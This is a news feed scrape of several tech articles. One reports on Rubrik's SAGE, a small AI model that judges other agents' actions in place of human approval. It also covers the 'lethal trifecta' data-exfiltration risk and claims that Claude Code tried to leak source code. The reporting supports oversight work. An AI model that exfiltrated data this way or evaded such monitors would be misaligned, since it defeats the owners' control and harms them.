clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[Google has started selling TPUs, but still keeps most for itself]]></title>
<description><![CDATA[Some lucky customers took delivery of their own Tensor Processing Units (TPUs), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.



The disclosure comes at a time when ente...]]></description>
<link>https://tsecurity.de/de/3689932/it-security-nachrichten/google-has-started-selling-tpus-but-still-keeps-most-for-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689932/it-security-nachrichten/google-has-started-selling-tpus-but-still-keeps-most-for-itself/</guid>
<pubDate>Thu, 23 Jul 2026 20:13:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Some lucky customers took delivery of their own Tensor Processing Units (<a href="https://www.networkworld.com/article/4093957/what-are-tpus-your-guide-to-tensor-processing-units-and-ai-acceleration.html">TPU</a>s), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.</p>



<p class="wp-block-paragraph">The disclosure comes at a time when enterprises are grappling with a global shortage of high-end GPUs that is driving up costs and slowing AI deployment timelines, and even <a href="https://techcrunch.com/2025/11/03/altman-and-nadella-need-more-power-for-ai-but-theyre-not-sure-how-much/" target="_blank" rel="noreferrer noopener">those who have GPUs don’t always have electricity to operate them</a>.</p>



<p class="wp-block-paragraph">“We delivered to customer data centers for the first time in Q2,” said <a href="https://www.linkedin.com/in/anat-a-a334433/" target="_blank" rel="noreferrer noopener">Anat Ashkenazi</a>, CFO of Google’s parent Alphabet, adding that the company had begun to recognize a small amount of revenue from TPU orders, although it expected to recognize more in 2027.</p>



<p class="wp-block-paragraph">Ashkenazi did not name the customers or describe the commercial arrangements, leaving open questions about whether the systems are being deployed by large enterprises, governments, sovereign AI initiatives, or other cloud providers.</p>



<p class="wp-block-paragraph">Until recently, Google’s TPU strategy centered on giving customers access to the chips through Google Cloud, while using the same silicon internally to power its own AI models and services. But during the company’s last earnings call in April, just days after it <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">released two new TPU models</a>, CEO <a href="https://blog.google/authors/sundar-pichai/" target="_blank" rel="noreferrer noopener">Sundar Pichai</a> said Google would consider selling TPUs to AI labs, capital markets firms, and high-performance computing applications.</p>



<p class="wp-block-paragraph">On Wednesday’s call, Pichai said Google will scale up TPU sales “based on the opportunities we see and the demand we see, commensurate with the constraints that exist and the allocation needs we have for frontier model development.”</p>



<p class="wp-block-paragraph">But Google is still keeping the bulk of its TPUs for itself, either for internal use or to rent out through Google Cloud Platform.</p>



<p class="wp-block-paragraph">“Our first priority is making sure we are allocating what we need to compete at the frontier in terms of AGI development,” Pichai said on Wednesday’s call. “We are using both TPUs and GPUs mainly for serving our models.”</p>
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<title><![CDATA[In a First, Apple Maps Navigation To Be Embedded In Ford UEV Pickups]]></title>
<description><![CDATA[Ford will become the first automaker to embed Apple Maps directly into its vehicles, starting with an all-electric midsize pickup built on its new Universal Electric Vehicle platform. "The pickup -- with Ford testing preproduction models on roads now -- is expected to start at $30,000 when it com...]]></description>
<link>https://tsecurity.de/de/3689930/it-security-nachrichten/in-a-first-apple-maps-navigation-to-be-embedded-in-ford-uev-pickups/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689930/it-security-nachrichten/in-a-first-apple-maps-navigation-to-be-embedded-in-ford-uev-pickups/</guid>
<pubDate>Thu, 23 Jul 2026 20:13:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ford will become the first automaker to embed Apple Maps directly into its vehicles, starting with an all-electric midsize pickup built on its new Universal Electric Vehicle platform. "The pickup -- with Ford testing preproduction models on roads now -- is expected to start at $30,000 when it comes to market in 2027," reports the Detroit Free Press. "Ford has said several other EVs off that platform will follow, including a small all-electric SUV." From the report: Ford CEO Jim Farley said the new EVs will redefine advanced technology as simple, useful, and at a price point that is attainable for most people. "We're proud to embed Apple Maps' navigation and mapping technology directly into our Universal Electric Vehicle Platform, giving customers the ultimate navigation experience alongside our Ford app, a full suite of software, and next-generation BlueCruise, all enabled by a new zonal architecture," Farley said in a statement. "Apple Maps has delivered a world-class product, and we're honored to be among the first to embed it directly into a vehicle, helping define intuitive, capable driving."
 
In a joint statement, Apple and Ford said the integration will deliver a "beautiful and easy-to-use navigation experience powered by Apple Maps directly to the vehicle's displays. Road-level Maps information will also enable Ford's Latitude AI team to build a seamless hands-free driving experience." Ford said it will use that road information to develop its next-generation BlueCruise hands-free highway driving capability. Also, by leveraging Apple's new MapKit for Automotive SDK, Ford's UEV Platform will offer drivers turn-by-turn directions using natural language, real-time traffic information, intuitive search and routing options for the best route. The system will give drivers EV routing functionality to help drivers with the warming and cooling process of the vehicle's battery before driving or fast-charging.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/23/1626218/in-a-first-apple-maps-navigation-to-be-embedded-in-ford-uev-pickups?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants 